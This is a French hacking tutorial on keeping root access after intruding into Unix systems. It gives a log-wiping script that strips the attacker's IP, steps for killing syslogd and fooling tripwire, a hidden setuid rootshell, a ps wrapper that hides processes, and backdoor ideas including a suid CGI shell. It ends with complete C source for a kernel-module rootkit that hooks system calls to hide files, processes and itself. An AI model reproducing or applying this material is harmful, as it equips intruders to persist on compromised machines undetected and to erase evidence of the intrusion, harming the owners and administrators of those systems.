Un cour de Hacking Par Sauron : | ____________________________________| | | Comment garder un access root ! | |_______________________# whoami ? root ! La differences entre un Hacker et un merdeux, c'est que le hacker chope un root et le garde aussi longtemps qu'il le desire, alors que le merdeux le perd au bout d'une semaine, un mois si l'admin ne fait pas gaffe, pas plus. Le merdeux utilise Linux, il sait compiler et lancer son exploit et il connait quelque commande shell, le hacker lui metrise le systeme sur lequel il est. Voici quelques astuces et conseils pour ne pas se faire reprendre son root tout de suite. Il suffit de se mettre en permanence a la place du root et reflechir a la maniere dont il poura vous retrouver. La premiere chose que je fais sur un systeme est de passer les quelques commandes suivantes : who ==> voir les utilisateurs present ( pensez a revenir plus tard si le root y est ;) finger ==> Quand le root s'est il logez la derniere fois lastlog ==> pour voir si des users viennent regulierement cat /root/.bash_history ==> important ! Avec grep vous pouvez chercher des mot comme tripwire, log, etc.. vous serez ainsi si le root a poser des Ids ou autres. En plus vous verrez un peu le niveau de l'admin ( j'ai deja vu des "dir" ,"cd.." , "c:" arf ;) verifiez avec un "ps -aux" que syslogd est le seul loger lancer puis faite "killall syslogd". Il faudra pensez a le relancer en repartant. Si vous comptez rester longtemps ou si le systeme est beaucoup utiliser ne le killer pas car il y aura des trou dans les logs et un petit script shell pourait le voir en les examinant ( par exemple des tranches de 15 minutes ou rien n'est loger ;) Bon voila deja une bonne chose de faite. faite cat /etc/passwd pour voir la densite d'utilisateur sur le systeme. Maintenant il vous faut effacer les traces de votre intrusion, c'est primordial. Avec un petit script shell vous pouvez le faire : ---[ Cleaner.sh ]---- #!/bin/sh echo [*] Cleaner de logs WERD=$(/bin/ls -F $2 | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" | grep -v "@") for fil in $WERD do line=$(wc -l $2$fil | awk -F ' ' '{print $1}') echo -n "Cleaning $fil ($line lines)" grep -v $1 $2$fil > new touch -r $2$fil new mv -f new $2$fil newline=$(wc -l $2$fil | awk -F ' ' '{print $1}') let linedel=$(($line-$newline)) echo "$linedel lignes effacer !" done killall -HUP syslogd echo [*] Finish ! ----[ EOF ] Voila lancer : sh# sh cleaner.sh /var/log/ >> result si vous attacker de rootshell.super.haker.com d'ip 25.32.2.2 remplacez par "haker" et par "32.2." ainsi votre ip vas totalement disparaitre des log, qu'elle est ete logez sous sa forme d'ip ou d'url. ( je me comprend :p) Bon normalement vous n'avez pas encore eu besoin de vous loggez donc utmp, wtmp et lastlog sont encore propre, pas la peine de les cleaner. Verifiez dans /etc/syslog.conf que les log sont bien enregistree dans le rep par default /var/log/, sinon ajustee au lancement du script shell ( $2 ). Bon maintenant, vous comptez surement aller plus loin ( a moins que vous vouliez juste deface la page d'accueil du site, auquel cas vous etes un gros HaX0rz ). Il vous faut donc avoir au moins un repertoire pour travailler, il y aura des fichiers, et vous lancerez des processus c'est donc le tout que vous devez cacher. La meilleur methode reste la modification du noyau du systeme, c'est a dire directement les syscall. On les modifit en inserant des module suplementaire a l'aide de insmod. Ainsi inutile de modifier les binaires comme ps, ls, find, cat, etc... vous etes protegez des outils comme tripwire. --- [Note : ] vous pouvez berner tripwire sans passer par des Lkm ( linux kernel module ), simplement en overwritant l'empreinte du systeme qui a ete faite lorsqu'il etait sain avec une nouvelle empreinte que vous faite apres avoir modifie les binaire. Pensez a remettre a la bonne date le nouvo fichier avec la commande : " touch -r ancienfile nouvofile", puis suprimer l'ancien file. --- [ EON ] De nombreux outils vous propose de cacher des processus ou des fichiers. Les syscall modifier en general sont : getdents(), kill(), read(), query_module() et write() Hehehe ca j'aime beacoup. Une fois charger le module sera totalement invisible car query_module() est modifier ainsi que read(), ainsi la commande lsmod ne le montrera pas et il ne sera pas visible dans /proc/modules ou sont les modules chargees :) La commande pour suprimer un module rmmod, elle fait elle aussi appele a query_module(), donc votre module est innefacable ( sauf en en inserant precedament un autre qui remet en etat les syscall ). --- [ Note : ] Il existe des outils capable de detecter si les syscall ont ete modifier, mais un admin ne le lancera pas sauf si : 1- il en connait l'existence ( beaucoup d'admin ne savent meme pas ce qu'est une rootkit alors... ;) 2- Il le lancera si il se doute de la presence d'un Hacker, ce qui est impossible si vous savez utilisez votre module et votre cerveau en bonne coordination :) --- [ EON ] *** ASTUCE : Il est aisee de detecter la rootkit t0rn car elle s'installe dans /usr/src/.puta apres avoir modifier des binaires de la BoX comme ls. Meme avec un ls -a dans /usr/src le rep n'apparait pas, par contre en tapant /usr/src/. suivit de tabulation deux fois tout les repertoire apparaisse ! Inutile de vous faire un dessin pour comprendre que modifier les binaires du systeme n'est pas une super solution ( a moins de forger vous meme le nouveau binaire de ls et de ne pas utiliser le binaire fourni avec le t0rn rootkit par exemple ce qui est ennuyeux ). Par contre getdents() cache fichier et repertoire et ce meme avec l'astuce de la tabulation :) Il vous faut connaitre le repertoire exact pour pouvoir y parvenir. Votre module peut par contre aisement etre retirer en rebootant le systeme, mais vous pouvez le placez dans /lib/modules//default pour qu'il soit relance au demarrage de maniere invisible :) Voici le code en C d'un de ces module :) Bravo a Runar Jensen qui en est le programmeur. Je tient a vous mettre en garde car si vous cacher la string "abc" par exemple, tout les fichier, tous les processus contenant abc dans leur nom seront egalement cacher, d'ou l'interet de prendre des noms peut courant que l'admin n'utilisera probablement jamais. Pour le compiler lancez le script shell suivant : --- [ Hideme.sh ] #!/bin/sh if [ $1 = ""];then echo "[!] Usage : `basename $0` " exit fi gcc -O2 -fomit-frame-pointer -DMAGIC_PREFIX "$1" -DMODULE -D__KERNEL__ -c hey.c insmod hey.o && echo "[Ok] $1 est totalement invisible desormais !" echo Effacer hey.c ? y/n read haya if [ haya = "y" ];then mv hey.c /dev/.$1.c echo hey.c deplacer sous le nom /dev/.$1.c, retenez le car il est invisible ! fi --- [ EOF ] Note : Afin de ne pas trop nuire a la lisibilite de mon tutorial sur le hacking unix, hey.c est a la fin de cette article ! Voila, il vous suffit de vous creer un repertoire dans /var/spool ( un des rares repertoire qui connait des mutations et qui n'est donc pas surveiller par les ids ). Mais cela est du pur perfectionisme car de toute facon les ids font eux aussi appel aux syscall modifier et ce font donc berner :D Comme il n'est malheuresement ( ou heuresement ) pas possible d'installer un Lkm sur chacun des systeme compromis ( differences de kernel, selon les unix et selon les versions ! ), voyons voir comment etre relativement bien cacher sans en utiliser : pour cacher des fichiers cela est tout a fait faisable il suffit de les mettre dans des repertoires bien cacher comme /dev/ /usr/man/man1/ sous des noms anodin ( un fichier dans un coin du systeme est bien plus louche qu'un binaire inconnu dans /usr/bin/ ). Vous pouvez par exemple cacher un cleaner de log dans /usr/man/man2/pstree.2.bz2 ( je ne le repeterai pas mais il semble evident que chacun de vos fichier doit etre mis a une date anterieure a celle de l'intrusion. Un admin qui trouverait un fichier bizarre pourait detecter tout les autres avec find en effectuant une recherche par date ! ). Si le systeme est tres utilisez, vous pouvez ajouter un simple user puis reporter la ligne qui lui revient au milieu de /etc/passwd plutot qu'a la fin ! Pensez a cacher un rootshell quelque part sur le systeme. ( cd usr/man/man1/;cp /bin/sh bashman.1.tar.gz;chown root.root bashman.1.tar.gz;chmod 06775 bashman* ) Ainsi vous pourez rootez aisement la machine en vous assurant que l'historique des commandes va dans le .bash_history dans le homedir de votre simple user ( mais pensez a effacer les commandes que vous ne pouriez theoriquement pas passer en simple user au cas ou l'admin espionne ses users ;). /usr/src/linuc/include/ me semble une place de choix pour cacher des fichiers ( mais pensez a leur mettre une extension .h ). Bon, je vous ai simplement donnez quelques idees mais je suis sur que vous en aurez d'autre. Maintenant que vos file sont cacher, il faut cacher vos processus ce qui est moins evident. Effectivement la seul solution si on n'utilise pas de lkm est de modifier le binaire ps. Comme je vous le disais c'est chiant de devoir recompiler ps pour chacun des processus que vous voulez cachez. Une astuce simple est de copier le binaire ps ( whereis ps ) sous un autre nom comme /usr/sbin/proc . mettez ceci a la place du binaire original : #!/bin/sh # hey admin i am white hat :) /usr/sbin/proc $1 $2 | grep -v et de rajouter des |grep -v autant que necessaire. Evidament on est loin ici de l'invisibilite du lkm. Mais avez vous deja regarder le contenu de votre binaire ps ? non, et je ne pense pas qu'un admin puisse avoir l'idee de le faire. La meme chose est faisable avec find, netstat et d'autre ( attention pas ls sauf si l'argument -lga est passer ). Bon.. passons a un point essentiel : la backdoor. La rootkit t0rn vous propose d'ouvrir un sshd sur un port, je pense que ce n'est pas une bonne solution. En effet un admin qui scan son rezo de temps a autre remarquera qu'un port suplementaire a ete ouvert ! Certaine backdoor comme celle de Mixter bind un shell sur un port lorsqu'une connexion en raw socket est detectee sur un port definit. Vous pouvez faire la meme chose si une certaine string est passer aux demon sendmail, telnet ou autre, mais cela vous oblige a modifier /etc/in.telnetd par exemple. Il n'est pas difficile d'allier le Lkm fournit avec cette article avec un programme cgi suid root qui est en fait un shell... Ainsi le cgi est tout a fait invisible, mais ceux qui en connaisse l'existence peuvent avoir un rootshell a partir de leur navigateur :) cela permet de ne pas utiliser forcement une machine ayant telnet, ou ssh. ( exemple: un cybercafe ). Bien sur l'utilisation d'un cgi reduit vos possibilite puisque vous ne pourez par exemple par allez chercher un fichier sur un ftp a moins de mettre les commandes a passer au ftp dans un fichier puis de lancer comme commande : ftp -n ftp.host.ext < filecmd ( ceci est un exemple vous pouvez faire la meme chose avec les autres programmes ). Une bonne idee de backdoor sera un lkm qui attendrait un ping dont le paquet aurait une taille bien definit pour bind un shell. Toutes les techniques qui bind un shell vous oblige a killer le shell binder pour le quiter ( pour eviter que le shell soit a la portee du premier venu ). Inutile egalement de bind un rootshell puisque vous aurez pensez a en cacher un dans le systeme.. Je ne fournit pas ici de backdoor pour ne pas encombrer l'article et pour vous donner le choix, il y en a tellement. Allez voir sur ouah.bsdjeunz.org > programmes > backdoor , il y en a quelque unes qui sont interessantes :) Bon je vais m'arreter là, l'article est deja bien plus gros que prevu ;) Pour tous commentaire ou pour de l'aide : sauron@unix-labs.com Ciao et abusez pas des infos fournit ici, je ne pourais en etre tenu responsable ! --- [ hey.c ] #include #include #include #include #include #include #include #include #include #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int errno; static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') return(-1); res += (*ptr - '0') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task != current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) return(-errno); return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) return(res); ptr = buf; while(ptr < buf + res) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr != '\n') ptr++; ptr++; mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr != '\n') ptr++; ptr++; } return(res); } int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; } ---[ EOF ] ==> Saur0n ( qui espere vous avoir fait progresser ( cet article s'adresse aux personnes n'ayant qu'une petite experience de l'intrusion Unix ou aux admin qui aimerait savoir comment peuvent proceder les hackers ... mais je pense qu'un admin ne dormira plus tres bien apres avoir lu ceci ;) ah oui : Have Fun !! PS : Cela n'a rien a voir avec cette article mais je tient a faire savoir que le magazine francais HackerZ voice , achetable en presse ( qui en est encore a parler d'exploit wu2.4.0 lol ) m'a odieusement voler un article sur la securite linux. ils se sont permi de le publier dans son integralite et de modifier mon pseudo par le pseudo "prof" ! ils n'ont pas daigner me repondre a la lettre en recommande que je leur ai envoyer :()